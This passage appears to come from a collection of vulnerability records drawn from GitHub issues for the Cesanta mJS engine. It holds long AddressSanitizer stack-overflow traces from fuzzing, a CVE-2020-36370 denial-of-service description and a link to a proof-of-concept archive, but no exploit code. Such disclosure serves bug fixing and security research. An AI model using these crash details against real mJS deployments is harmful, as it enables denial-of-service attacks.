#187 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #188 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #189 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #190 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #191 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #192 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #193 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #194 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #195 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #196 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #197 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #198 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #199 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #200 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #201 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #202 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #203 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #204 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #205 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #206 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #207 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #208 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #209 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #210 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #211 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #212 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #213 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #214 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #215 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #216 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #217 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #218 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #219 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #220 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #221 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #222 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #223 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #224 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #225 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #226 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #227 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #228 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #229 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #230 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #231 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #232 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #233 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #234 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #235 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #236 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #237 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #238 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #239 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #240 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #241 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #242 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #243 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #244 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #245 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #246 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #247 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 #248 0x57f914 in parse_statement_list /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12193:11 #249 0x59462f in parse_block /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12204:9 #250 0x588dda in parse_statement /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12914:14 SUMMARY: AddressSanitizer: stack-overflow /home/hjwang/Tools/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:31 in __asan_memmove ==22443==ABORTING ```

AddressSanitizer: stack-overflow on recursive stack frames: parse_block, parse_statement, parse_statement_list

https://api.github.com/repos/cesanta/mjs/issues/135/comments

2019-05-28T07:23:36Z

2019-05-31T12:47:42Z

https://github.com/cesanta/mjs/issues/135

CVE-2020-36370

2021-05-28T21:15:08.470

Stack overflow vulnerability in parse_unary Cesanta MJS 1.20.1, allows remote attackers to cause a Denial of Service (DoS) via a crafted file.

https://github.com/cesanta/mjs/issues/136

github.com

POC: [POC.zip](https://github.com/cesanta/mjs/files/3226091/POC.zip) ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==23779==ERROR: AddressSanitizer: stack-overflow on address 0x7ffcd8b22f68 (pc 0x0000005a63b8 bp 0x7ffcd8b23110 sp 0x7ffcd8b22f68 T0) #0 0x5a63b7 in findtok /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12117:25 #1 0x5a63b7 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12426 #2 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #3 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #4 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #5 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #6 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #7 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #8 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #9 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #10 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #11 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #12 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #13 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #14 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #15 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #16 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #17 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #18 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #19 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #20 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #21 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #22 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #23 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #24 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #25 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #26 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #27 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #28 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #29 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #30 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #31 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #32 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #33 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #34 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #35 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #36 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #37 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #38 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #39 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #40 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #41 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #42 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #43 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #44 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #45 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #46 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #47 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #48 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #49 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #50 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #51 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #52 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #53 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #54 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #55 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #56 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #57 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #58 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #59 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #60 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #61 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #62 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #63 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #64 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #65 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #66 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #67 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #68 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #69 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #70 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #71 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #72 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #73 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #74 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #75 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #76 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #77 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #78 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #79 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #80 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #81 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #82 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #83 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #84 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #85 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #86 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #87 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #88 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #89 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #90 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #91 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #92 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #93 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #94 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #95 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #96 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #97 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #98 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #99 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #100 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #101 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #102 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #103 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #104 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #105 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #106 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #107 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #108 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #109 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #110 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #111 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #112 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #113 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #114 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #115 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #116 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #117 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #118 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #119 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #120 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #121 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #122 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #123 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #124 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #125 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #126 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #127 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #128 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #129 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #130 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #131 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #132 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #133 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #134 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #135 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #136 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #137 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #138 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #139 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #140 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #141 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #142 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #143 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #144 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #145 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #146 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #147 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #148 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #149 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #150 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #151 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #152 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #153 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #154 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #155 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #156 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #157 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #158 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #159 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #160 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #161 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #162 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #163 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #164 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #165 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #166 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #167 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #168 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #169 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #170 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #171 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #172 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #173 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #174 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #175 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #176 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #177 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #178 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #179 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #180 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #181 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #182 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #183 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #184 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #185 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 #186 0x5a3c4f in parse_equality /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12464:3 #187 0x5a24ab in parse_bitwise_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12469:3 #188 0x5a0bec in parse_bitwise_xor /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12474:3 #189 0x59f1ab in parse_bitwise_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12479:3 #190 0x59d944 in parse_logical_and /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12484:3 #191 0x59c593 in parse_logical_or /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12489:3 #192 0x59a5f1 in parse_ternary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12494:14 #193 0x599c92 in parse_assignment /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12532:3 #194 0x5acfb4 in parse_expr /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12536:10 #195 0x5acfb4 in parse_array_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12294 #196 0x5a7a58 in parse_literal /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12354:13 #197 0x5a7a58 in parse_call_dot_mem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12380 #198 0x5a6400 in parse_postfix /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12414:14 #199 0x5a6400 in parse_unary /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12433 #200 0x5a5a6e in parse_mul_div_rem /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12446:3 #201 0x5a5236 in parse_plus_minus /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12451:3 #202 0x5a4b00 in parse_shifts /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12456:3 #203 0x5a441e in parse_comparison /home/hjwang/UAF_Objects/mjs_afl_asan/mjs.c:12460:3 